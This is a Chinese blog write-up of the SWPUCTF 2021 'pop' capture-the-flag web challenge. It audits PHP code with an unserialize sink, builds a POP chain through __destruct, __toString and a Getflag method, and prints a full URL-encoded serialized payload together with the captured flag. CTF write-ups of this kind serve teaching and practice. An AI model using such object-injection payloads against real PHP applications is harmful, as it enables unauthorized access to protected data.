首页 > 其他分享 >[SWPUCTF 2021 新生赛]pop

[SWPUCTF 2021 新生赛]pop

时间:2023-07-28 20:11:18浏览次数:26  
标签:w00m SWPUCTF 22% w22m 3A% pop 2021 w33m 3A4%

[SWPUCTF 2021 新生赛]pop

题目来源:nssctf

题目类型:web

涉及考点:PHP反序列化、pop链

1. 上来先做代码审计

<?php

error_reporting(0);
show_source("index.php");

class w44m{

    private $admin = 'aaa';
    protected $passwd = '123456';

    public function Getflag(){
        if($this->admin === 'w44m' && $this->passwd ==='08067'){
            include('flag.php');
            echo $flag;
        }else{
            echo $this->admin;
            echo $this->passwd;
            echo 'nono';
        }
    }
}

class w22m{
    public $w00m;
    public function __destruct(){
        echo $this->w00m;
    }
}

class w33m{
    public $w00m;
    public $w22m;
    public function __toString(){
        $this->w00m->{$this->w22m}();
        return 0;
    }
}

$w00m = $_GET['w00m'];
unserialize($w00m);

?>

有关PHP反序列化和pop链的知识点详见href(待补充)

题目要求GET传入w00m,并进行反序列化操作

我们先一个一个类进行分析:

  • w44m类:

如果变量前是protected,则会在变量名前加上\x00*\x00,

若是private,则会在变量名前加上\x00类名\x00,输出时一般需要url编码

我们最终的目标就是调用w44m类中的Getflag方法

  • w22m类:

当类销毁时会输出$this->w00m

  • w33m类:

当w33m类的对象被当做字符串使用时,触发__toString()方法

需要注意类中的wxxm变量与wxxm类不要混淆

2. 尝试构造payload

首先我们构造POP链:

  • 在w44m类中的Getflag作为尾部
  • w33m类中有$this->w00m->{$this->w22m}();,因此我们需要给w00m一个w44m类,给w22m一个Getflag字符串
  • 而如何调用w33m类中的__toString()方法呢,我们看到w22m类中有echo $this->w00m;,需要给w00m一个w33m类即可

综上,POP链:

w22m::__destruct()->w33m::__toString()->w44m::Getflag()

在线php构造序列化字符串如下:

其中未显示的字符为\x00,即空格

对其url编码,构造payload如下:

/?w00m=O%3A4%3A%22w22m%22%3A1%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w33m%22%3A2%3A%7Bs%3A4%3A%22w00m%22%3BO%3A4%3A%22w44m%22%3A2%3A%7Bs%3A11%3A%22%00w44m%00admin%22%3Bs%3A4%3A%22w44m%22%3Bs%3A9%3A%22%00%2A%00passwd%22%3Bs%3A5%3A%2208067%22%3B%7Ds%3A4%3A%22w22m%22%3Bs%3A7%3A%22Getflag%22%3B%7D%7D

得到flag:

NSSCTF{6e9fe138-692e-4f61-8847-beb420f2b5dc}

日期:2023.7.28

作者:y0Zero

标签:w00m,SWPUCTF,22%,w22m,3A%,pop,2021,w33m,3A4%
From: https://www.cnblogs.com/bkofyZ/p/17588800.html

相关文章

  • 图论2021版
    图基本概念图可以理解成一个二元组,是由点集V和边集E组成的。G=(V,E),V表示点的集合,E表示边的集合。每条边是一幅点对(v,w)v,w都是点集V中的点。(v,w∈V)图的分类:可以按照边有无方向,可以分为有向图和无向图。比如上图1中,边AB之间没有画出方向(即点之间是无序的),这就是无向图。......
  • el-popover怎么设置宽度
    el-popover怎么设置宽度<el-popoverref="popoverRef":virtual-ref="buttonRef"trigger="click":title="t('Hideandshowcolumns')"virtual-triggering:hide-after="parseInt('10')"......
  • [SWPUCTF 2021 新生赛]babyrce
    [SWPUCTF2021新生赛]babyrce题目来源:nssctf题目类型:web涉及考点:Cookie注入、代码审计1.上来先代码审计<?phperror_reporting(0);header("Content-Type:text/html;charset=utf-8");highlight_file(__FILE__);if($_COOKIE['admin']==1){include"../next.p......
  • 题解:【ICPC WF 2021 L】 Where Am I?
    题目链接这年WF较为简单的一道了,直接模拟即可。首先可以预处理出它顺时针螺旋轨迹的移动步数,方便过会算距离直接查表。我偷懒直接用map记录的距离表,这样不用处理复数下标的问题。注意到\(X\)的数量不会超过\(100\)个,所以我们可以反过来从标记点上入手。找出所有的标记点,......
  • 【2021考研】政治做题策略
    【2021考研】政治做题策略前言回顾了一下考研政治的马克思、毛中特、史纲、思修、时政的内容,现在借助2021考试大纲以及往年考试试题猜测一下最优的做题策略。越来越发现学习就像编程序。学一门课程就是编一个程序,遇到什么问题就是:输入内容,然后处理,最后输出。在考研政治中就是输入试......
  • 办公套件Microsoft Office LTSC 2021最新中文Mac版
    MicrosoftOfficeLTSC2021(office全家桶)中文版是Microsoft为Mac用户推出的一款新iPadMac系列电脑、iPad桌面应用程序。OfficeLTSC2021是MicrosoftOffice系列电脑、iPad电脑和桌面应用程序的新一代操作系统和办公自动化产品。它采用了Mac和Linux操作系统的同步版......
  • 题解 P7971【[KSN2021] Colouring Balls】
    postedon2022-10-0819:07:28|under题解|sourceproblem交互库有一个长为\(n\)的颜色序列,你可以询问区间\([l,r]\)中有多少种颜色,最后还原交互库手中的序列,只需要保持相对顺序不变。\(n\leq10^3\),最多询问次数\(Q=2000\)或\(Q=10^4\)。solution令\(C\)为\([1......
  • [SWPUCTF 2021 新生赛]jicao
    [SWPUCTF2021新生赛]jicao题目来源:nssctf题目类似:web涉及考点:代码审计1.直接看题,给了一串php代码<?phphighlight_file('index.php');include("flag.php");$id=$_POST['id'];$json=json_decode($_GET['json'],true);if($id=="wllmNB"......
  • [SWPUCTF 2021 新生赛]easy_md5
    [SWPUCTF2021新生赛]easy_md5题目来源:nssctf题目类型:web涉及考点:PHP弱比较1.又是一道代码审计题,题目页面如下<?phphighlight_file(__FILE__);include'flag2.php';if(isset($_GET['name'])&&isset($_POST['password'])){$name=$_GET[&......
  • Mock 3: CEOI2021 Day1 P3
    让我简化一下题目吧:有两个玩家,A和B。A并不知道B的位置,但是B知道A的位置然后可以做相应的动作。让B在任何结点,做一个路径保证A肯定会抓到B或表示抓不到B。路径必须最短.每个回合B必须要往任何一个相邻的结点移动。 我是先考虑链的情况:非常明显的是肯定可以抓到。那么......